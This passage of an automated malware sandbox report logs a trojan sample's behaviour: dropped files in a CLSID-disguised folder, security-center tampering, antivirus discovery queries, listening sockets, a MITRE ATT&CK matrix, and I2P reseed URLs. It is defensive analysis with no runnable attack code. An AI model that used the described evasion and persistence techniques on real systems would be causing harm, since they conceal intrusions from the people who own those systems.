Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe

Code function: 13_2_00007FF7E3CE6FD5 GetSystemTimeAsFileTime,

13_2_00007FF7E3CE6FD5

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 29_2_00007FFB22706DA3 LocalAlloc,wcsncpy,LookupAccountNameW,GetLastError,GetLastError,LocalAlloc,LookupAccountNameW,LocalFree,GetLastError,ConvertSidToStringSidA,GetLastError,wcslen,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,NetApiBufferFree,NetUserEnum,GetProcessHeap,HeapAlloc,memcpy,GetProcessHeap,HeapFree,

29_2_00007FFB22706DA3

Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46} STATE

Jump to behavior

Source: svchost.exe, 00000004.00000002.2527090357.000001F3CD902000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000004.00000002.2527090357.000001F3CD902000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: lr75sq5smrngkif9fpn.exe, 0000000D.00000002.1312495889.0000025BBA428000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB227058DA socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	29_2_00007FFB227058DA
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB2273AEAA socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	29_2_00007FFB2273AEAA
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB22761F9A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	29_2_00007FFB22761F9A
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23AB28BA socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	29_2_00007FFB23AB28BA
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23ACB820 listen,htons,recv,select,	29_2_00007FFB23ACB820
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23ACB7E8 bind,	29_2_00007FFB23ACB7E8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23AD418A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	29_2_00007FFB23AD418A
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23B015FA socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	29_2_00007FFB23B015FA

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	11 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	21 Disable or Modify Tools	1 Network Sniffing	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Native API	1 DLL Side-Loading	2 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Create Account	2 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	1 System Service Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 Service Execution	2 Valid Accounts	14 Windows Service	1 Timestomp	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	14 Windows Service	11 Process Injection	1 DLL Side-Loading	LSA Secrets	1 Network Sniffing	SSH	Keylogging	1 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	1 Services File Permissions Weakness	1 Services File Permissions Weakness	1 File Deletion	Cached Domain Credentials	35 System Information Discovery	VNC	GUI Input Capture	1 Proxy	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Masquerading	DCSync	1 Network Share Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Valid Accounts	Proc Filesystem	261 Security Software Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Access Token Manipulation	/etc/passwd and /etc/shadow	151 Virtualization/Sandbox Evasion	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	151 Virtualization/Sandbox Evasion	Network Sniffing	2 Process Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	11 Process Injection	Input Capture	1 Application Window Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Users	Keylogging	1 System Owner/User Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Services File Permissions Weakness	GUI Input Capture	1 System Network Configuration Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	3%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	100%	Joe Sandbox ML
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll	0%	ReversingLabs
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll	0%	ReversingLabs
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll	0%	ReversingLabs
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\libi2p.dll	0%	ReversingLabs
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	11%	ReversingLabs	Win64.Trojan.Barys
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.dll	0%	ReversingLabs
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.dll	0%	ReversingLabs
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll	0%	ReversingLabs
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.dll	0%	ReversingLabs
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	19%	ReversingLabs	Win64.Trojan.Barys
C:\Windows\Temp\T9229YlC	0%	ReversingLabs
C:\Windows\Temp\TLbqzKsW	0%	ReversingLabs
C:\Windows\Temp\UEptccWa	0%	ReversingLabs
C:\Windows\Temp\VPIOcgIO	0%	ReversingLabs
C:\Windows\Temp\e5xaOqBz	0%	ReversingLabs
C:\Windows\Temp\fQQIqQM0	0%	ReversingLabs
C:\Windows\Temp\miECvZvT	0%	ReversingLabs
C:\Windows\Temp\nHqxqt5L	0%	ReversingLabs
C:\Windows\Temp\x8eec9dQ	0%	ReversingLabs

Source	Detection	Scanner	Label
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
https://i2pseed.creativecowpat.net:8443/	0%	Avira URL Cloud	safe
https://dev.ditu.live.com/REST/v1/Routes/	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/Issueure	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/REST/v1/Routes/Walking	0%	Avira URL Cloud	safe
https://login.microsoftonline.com/ppsecure/ResolveUser.srf	0%	Avira URL Cloud	safe
https://reseed.memcpy.io/	0%	Avira URL Cloud	safe
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA	0%	Avira URL Cloud	safe
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.	0%	Avira URL Cloud	safe
https://login.microsoftonline.com/ppsecure/devicechangecredential.srf	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAA	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdesAAAA	0%	Avira URL Cloud	safe
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	0%	Avira URL Cloud	safe
https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf	0%	Avira URL Cloud	safe
https://banana.incognet.io/	0%	Avira URL Cloud	safe
https://t0.ssl.ak.dynamic.tiles.virt	0%	Avira URL Cloud	safe
http://www.bingmapsportal.com	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	0%	Avira URL Cloud	safe
http://Passport.NET/tb_	0%	Avira URL Cloud	safe
https://t0.ssl.ak0	0%	Avira URL Cloud	safe
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt	0%	Avira URL Cloud	safe
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/REST/v1/Routes/	0%	Avira URL Cloud	safe
https://reseed-fr.i2pd.xyz/	0%	Avira URL Cloud	safe
https://i2p.novg.net/	0%	Avira URL Cloud	safe
https://account.live.com/msangcwam	0%	Avira URL Cloud	safe
https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJ	0%	Avira URL Cloud	safe
https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=	0%	Avira URL Cloud	safe
http://passport.net/tb	0%	Avira URL Cloud	safe
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt/	0%	Avira URL Cloud	safe
https://i2p.ghativega.in/	0%	Avira URL Cloud	safe
https://www2.mk16.de/	0%	Avira URL Cloud	safe
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	0%	Avira URL Cloud	safe
http://reg.i2p/hosts.txt	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/REST/v1/Locations	0%	Avira URL Cloud	safe
https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/	0%	Avira URL Cloud	safe
https://t0.ssl.ak.dynamic.tiles.virtualearth.	0%	Avira URL Cloud	safe
https://t0.ssl.ak.dynamic.tiles.virtuxA	0%	Avira URL Cloud	safe
http://identiguy.i2p/hosts.txt	0%	Avira URL Cloud	safe
https://dynamic.t	0%	Avira URL Cloud	safe
https://reseed.diva.exchange/	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/REST/v1/Routes/Transit	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	0%	Avira URL Cloud	safe
https://i2pd.readthedocs.io/en/latest/user-guide/configuration/	0%	Avira URL Cloud	safe
https://reseed.stormycloud.org/	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/Issuee	0%	Avira URL Cloud	safe
https://login.ecur	0%	Avira URL Cloud	safe
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	0%	Avira URL Cloud	safe
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	0%	Avira URL Cloud	safe
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	0%	Avira URL Cloud	safe
http://reg.i2p/hosts.txtc	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdmlns:	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/REST/v1/Routes/Driving	0%	Avira URL Cloud	safe
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	0%	Avira URL Cloud	safe
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf	0%	Avira URL Cloud	safe
https://reseed.stormycloud.org/o	0%	Avira URL Cloud	safe
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf	0%	Avira URL Cloud	safe
https://reseed.stormycloud.org/r	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust	0%	Avira URL Cloud	safe
https://login.livco	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAA	0%	Avira URL Cloud	safe
https://reseed.i2pgit.org/	0%	Avira URL Cloud	safe
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txti2p.su3	0%	Avira URL Cloud	safe
https://login.microsoftonline.com/MSARST2.srf	0%	Avira URL Cloud	safe
http://Passport.NET/STS	0%	Avira URL Cloud	safe
https://reseed-pl.i2pd.xyz/	0%	Avira URL Cloud	safe
https://dev.ditu.live.com/mapcontrol/logging.ashx	0%	Avira URL Cloud	safe
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	0%	Avira URL Cloud	safe
http://stats.i2p/cgi-bin/newhosts.txt	0%	Avira URL Cloud	safe
https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%	0%	Avira URL Cloud	safe
http://127.0.0.1:8118	0%	Avira URL Cloud	safe
https://reseed.stormycloud.org/W	0%	Avira URL Cloud	safe
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf-	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAA	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/28	0%	Avira URL Cloud	safe
https://reseed.onion.im/	0%	Avira URL Cloud	safe
https://i2p.mooo.com/netDb/	0%	Avira URL Cloud	safe
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	0%	Avira URL Cloud	safe
https://reseed2.i2p.net/	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	0%	Avira URL Cloud	safe
